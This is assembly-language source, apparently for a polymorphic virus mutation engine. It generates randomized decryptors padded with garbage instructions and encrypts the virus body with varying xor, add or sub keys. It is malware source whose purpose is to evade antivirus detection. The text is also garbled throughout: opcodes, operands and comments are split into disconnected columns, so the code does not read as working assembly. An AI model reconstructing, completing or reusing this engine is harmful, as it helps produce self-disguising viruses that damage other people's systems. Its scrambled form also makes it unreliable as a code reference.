; mov ,value ; es: ; mov bp,0feffh
ax,value rndgarb putdone ah,00000111b chk_reg dh,ah al,10111000b al,ah ax,value
; mov ,value ; xchg , ; es: ; mov bx,0fe45h ; xchg si,bx
rndgarb al,10000111b ah,11000000b ah,dh dh,target cx,cx cl,03 dh,cl ah,dh putdone ah,00000111b chk_reg dh,ah al,10111000b al,ah
; ; ; ; ; ;
mov ,value push pop es: mov dx,1234h push dx
p4:
p4or:
p4val:
p4add:
mov stosw call mov or stosb call mov mov or stosb jmp
ax,value
and sub lea xlat stosb mov sub or or mov shl or stosb call call and cmp jz
al,00000001b ah,ah bx,clear
xor mov mov mov or stosw
ax,ax al,10000001b ah,11001000b bl,target ah,bl
mov stosw jmp
ax,value
sub mov mov or or stosw jmp
ax,ax al,10000001b bl,target ah,bl ah,11000000b
cld push push pop
pop dx
rndgarb al,01010000b al,dh rndgarb dh,target al,01011000b al,dh putdone
bl,target al,al al,11000000b al,bl cl,3 bl,cl al,bl rndgarb rndget al,00000001b al,1 p4add
putdone
p4val
; this is the main call to the engine . crypt:
;
cs cs ds
; sub/xor , ; add/or ,value ; es: ; sub cx,cx ; or cx,fe01h
pop mov mov mov mov mov mov
es key,ax set,bl entry,bp decloc,di gflag,yes zerof,nope
; saving setting and en/decryption ; values into buffers
; step one : garbage instructions above decryption routine . crypt2: test jnz fill_garb: call and sub mov inc call loop
set,01000000b crypt3 rnd_get al,00001111b cx,cx cl,al cx garb $-3
; insert a lot of random instructions
; call for some times the rnd engine ; fill the decryptor of garbage
; step two : set cx for loop . crypt3:
cx_word:
cx_byte:
test mov jz
set,00000001b dh,00000001b cx_byte
push xor mov mov div add pop call jmp
dx dx,dx ax,virlen bx,2 bx ax,dx dx put_into crypt4
mov call
ax,virlen put_into
; look for byte/word en/decryption ; insert into cx register the ; loop counter ; calculate cx value for byte ; decryption
; put it into cx ; word decryption
; step tree : set si or di pointer to code to decrypt . crypt4:
use_di:
use_si:
call test jnz
rndgarb set,00000100b use_si
; put garbage ; look for decryption register
mov mov call jmp
dh,00000111b ax,0ffffh put_into crypt5
; insert di opcode ; the value is the virus firm ; make the code
mov mov call
dh,00000110b ax,0ffffh put_into
; put into si the flag for later use
; step four: make decryption instruction . crypt5: mov call mov call call mov stosb mov test jnz and put_instr: stosb test jz test jz use_xor: mov mov jmp use_sub: mov jmp use_add: sub patch_reg: test jz set_si: or jmp set_di: or patch_delta: stosb test pushf sub popf jnz calc_delta: call mov push push mov add sub test pop pop jz or stosw
gflag,nope rndgarb lupadrs,di rndgarb rndgarb al,02eh
; save current ofs for later use ; put the cs: opcode
al,10000001b set,00000001b put_instr al,11111110b
; common part of the instruction ; see if it is a word encryption
set,00010000b use_add set,00100000b use_sub
; look for the decryption opcode
al,00110000b zerof,yes patch_reg al,00101000b patch_reg al,al
; xor may affect zr flag ; ; patching opcode for the various ; decryprion instructions
set,00000100b set_di al,00000100b patch_delta al,00000101b ; look for the delta offset set,00000010b ax,ax no_delta rnd_get deltaofs,ax ax bx bx,200h bx,entry bx,ax bx,11000000b bx ax calc_delta byte ptr cs:[di-1],10000000b ; patch old opcode for delta ofs
no_delta: test jz key_word: mov stosw jmp key_byte: mov stosb jmp
set,00000001b key_byte ax,key
; decrypt code with a word key
crypt6 al,byte ptr key[01] crypt6
; use a byte key .
; step five : loop incrementation routine . crypt6: call call call call and cmp jz cmp jz cmp jz use_addsub: mov mov test jnz add_di: or jmp add_si: or put_add: stosw test jz add_word: mov jmp add_byte: mov put_addvalue: stosw jmp use_scas: test jnz mov mov test jz scas_word: or scas_byte:
rndgarb rndgarb rndgarb rnd_get ah,00000011b ah,0 use_scas ah,00000010b use_cmps ah,00000011b use_inc
; look for the appropiate ; incrementation instruction ; use scas(b/w) ; use cmps(b/w) ; use inc / (inc)
al,10000001b ah,0c0h set,00000100b add_si
; use add (si/di),(1/2)
ah,000000111b put_add
; look for decryption register
ah,000000110b set,00000001b add_byte
; look for byte of word incrementation
ax,2 put_addvalue ax,1 crypt7 set,00000100b use_cmps zerof,yes al,10101110b set,00000001b scas_byte
; ; ; ;
if si reg , don't use scas instr . look for incremenation length may affect zr setting and put the appropiate instr .
al,00000001b
; patch for word
stosb jmp use_cmps: mov mov test jz cmps_word: or cmps_byte: stosb jmp use_inc: mov patch_reg2: test jnz inc_di: or jmp inc_si: or put_inc: stosb test jz push call call pop stosb
crypt7 zerof,yes al,10100110b set,00000001b cmps_byte
; may affect zero flag ; same as above code .
al,00000001b crypt7 al,01000000b
; set inc op-code .
set,00000100b inc_si al,00000111b put_inc
; patch register opcode
al,00000110b set,00000001b crypt7 ax rndgarb rndgarb ax
; look for byte or word and ; put the instruction/s
; step six : loop index handling ( or " how to decrement cx register " ) crypt7: call call test jz use_loop: mov patch_loop: stosb mov mov sub mov sub xchg stosb jmp use_jx: cmp jz mov stosb call call
rndgarb rndgarb set,00001000b use_jx
; put a lot of garbage ; look for the loop setting
al,11100010b ; calculating loop offset bx,di dx,lupadrs bx,dx bh,0ffh bh,bl al,bh crypt8 zerof,yes use_loop al,01001001b rndgarb rndgarb
; address of the decryption instr .
; put offset into instruction
; use dec cx , jnz/jg
use_jnz: use_jg:
call call and cmp jz
rndgarb rnd_get ah,00000001b ah,1 use_jg
mov jmp
al,01110101b patch_loop
mov jmp
al,01111111b patch_loop
; step seven : patch register assignment . crypt8: push mov sub mov pop std mov mov scan_ff:
repne cmp jne cld mov add patch_delta2: test jnz sub put_point: stosw
di bx,decloc di,bx declen,di di al,0ffh cx,declen
; now it's time to setup si/di reg ; calculate decryptor length ; scan decryptor for the flag
scasb byte ptr [di],0ffh scan_ff
; check if it is the flag ; if not , continue the scan routine
ax,declen ax,entry
; look for the presence of a delta ofs
set,00000010b put_point ax,deltaofs
; if delta , substract delta value ; put value into si/di instruction
; set up return values . crypt_end: mov mov ret
cx,declen dx,decloc
; cx = decryptor length ; dx = decryptor offset
; this procedure encrypts the virus body . ; si = start offset of the code cx = number of bytes to encrypt ; di = target offset of the code crypt_code: push push test jz word_loop: inc shr w_lup: mov
di cx set,00000001b b_lup cx cx,1 dx,key
lodsw call stosw loop jmp b_lup:
encrypt:
mov lodsb xchg xor call stosb loop jmp
encrypt w_lup encrypt_done dx,key dh,dl dh,dh encrypt b_lup encrypt_done
test jz test jz encrypt_xor: xor ret encrypt_add: add ret encrypt_sub: sub ret encrypt_done: pop pop ret
set,00010000b encrypt_sub set,00100000b encrypt_add
virlen over
equ :
$-100h
db
02,00,00,00,0cdh,020h
ends end
start
_code
ax,dx ax,dx ax,dx cx dx